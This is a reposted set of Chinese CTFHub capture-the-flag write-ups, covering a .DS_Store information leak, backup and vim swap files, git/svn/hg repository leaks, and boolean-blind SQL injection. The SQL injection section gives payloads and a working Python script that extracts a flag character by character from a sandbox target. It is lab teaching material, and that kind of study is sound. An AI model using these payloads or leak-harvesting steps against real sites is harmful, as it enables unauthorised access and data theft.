CTFHub | .DS_Store
Posted 尼泊罗河伯
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub | .DS_Store相关的知识,希望对你有一定的参考价值。
0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
.DS_Store:
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
0x02 解题过程
根据前面几题的经验,方法一致,在浏览器访问 . DS_Store 查看隐藏文件。发现浏览器下载了一个文件使用记事本查看发现一串后缀为 .txt 的可疑文件,使用 curl 命令检查一下这个可疑文件发现网页显示此题 flag 。
Ⅰ尝试浏览器访问.DS_Store,看看浏览器回显状态,没想到直接下载了隐藏文件
Ⅱ记事本查看隐藏文件显示内容,上面显示了一串乱码和下面的未知数字
Ⅲ使用py给这串未知数字简单处理一下空格符
a = '1 a 2 3 7 d f b 2 f 2 3 d 2 1 0 2 d 7 6 c 7 c 4 a 9 e 0 d 8 3 a . t x tnoteustr'
a.replace(' ' , '')
Ⅳ使用curl命令查看这串未知数字的网页显示是什么,看到显示404网页
Ⅴ发现没有把noteustr去掉,这是注释的意思,后缀应该为.txt,重新查看发现此题flag
解释说明:
1a237dfb2f23d2102d76c7c4a9e0d83a.txt noteustr flag here
1a237dfb2f23d2102d76c7c4a9e0d83a.txt 注 释 flag 在这
因为记事本排列将 flag here 在后面,导致我忽略了 flag here 这个重要提示,且最主要的是 noteustr 表示注释的意思。
0x03 .DS_Store说明
DS_Store 全称 Desktop Services Store(桌面服务存储),是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
.DS_Store的禁用与启用:
1.禁用 .DS_Store,重启生效
defaults write com.apple.desktopservices DSDontWriteNetworkStores -bool TRUE
2.启用 .DS_Store
defaults delete com.apple.desktopservices DSDontWriteNetworkStores
0x04 参考文献
[1].goyohol. 关于“.DS_Store”文件[EB/OL]. [2022-10-06]. https://www.jianshu.com/p/73a0bf8f2e1e.
0x05 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。
ctfhub学习与题解
常用备份文件名:
www.zip
bak文件
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为.index.php.swp
再次意外退出后,将会产生名为.index.php.swo
的交换文件
第三次产生的交换文件则为.index.php.swn
.DS_Store
是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store
可以知道这个目录里面所有文件的清单。
信息泄露
Log
这是一个源码泄露的例子,使用Fuzz扫描,发现存在git源码泄露,利用githack获取仓库信息。
git常用命令:
git log 查看历史记录
git reset 切换版本
git dirr 对比两次提交
使用git log 查看历史记录
解法一:
直接与 add flag (abafbe)
这次提交进行比对
解法二
直接切换到 add flag (abafbe)
这个版本
Stash
stash
命令可用于临时保存和回复修改
git stash list
所有保存的记录列表
git stash pop stash@{num}
恢复,
num
是可选项,通过git stash list
可查看具体值。只能恢复一次git stash apply stash@{num}
恢复,num
是可选项,通过git stash list
可查看具体值。可回复多次git stash drop stash@{num}
删除某个保存,num
是可选项,通过git stash list
可查看具体值git stash clear
删除所有保存
获得flag
SVN
扫描发现有 .svn/
目录,确认是 .svn
泄露。
使用svnExploit
发现一个可疑的txt文件,已经被删除,无法还原。
使用 dvcs-ripper
工具中的 rip-svn.pl
脚本进行 clone.
查找已经删除的文件,得到flag
HG
扫描发现有 .hg/
目录,确认是 .hg
泄露。使用 dvcs-ripper
工具中的 rip-hg.pl
脚本进行 clone.
发现直接执行 hg status 出错,工具 clone 的时候并没有 clone 完整。不要过分迷信工具。
解法一
查看.hg/store/fncache
可知 flag 的文件名为flag_88274161.txt
,直接访问即可得 flag
解法二
如果服务端删除了 flag 文件的话,那么可尝试从历史记录里寻找。路径是 .hg/store/data/flag__88274161.txt.i
注意下划线是两个
SQL注入
布尔盲注
查看页面:
尝试输入测试信息:
提示为布尔注入,构造相应payload:
?id=1 and ascii(substr((select database()),1,1))>108
发现不管是否返回数据,都会显示query_success
根据老哥们的提示,得到一个骚操作:
?id=if(ascii(substr((select flag from flag),1,1))=99,1,(select table_name from information_schema.tables))
如果判断正确则返回query_error;如果判断错误则构造错误查询语句,返回query_error
python脚本如下:
import requests
table = ""
list_1 = [element for element in range(48,58)]
list_2 = [element for element in range(97,126)]
list_0 = list_1 + list_2
session = requests.session()
url = "http://challenge-4f5472e95739be70.sandbox.ctfhub.com:10080/"
for i in range(1,50):
print(i)
for j in list_0:
payload = "if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))"%(i,j)
str_get = session.get(url=url + '?id=' + payload).text
if 'query_success' in str_get:
table += chr(j)
print(table)
break
以上是关于CTFHub | .DS_Store的主要内容,如果未能解决你的问题,请参考以下文章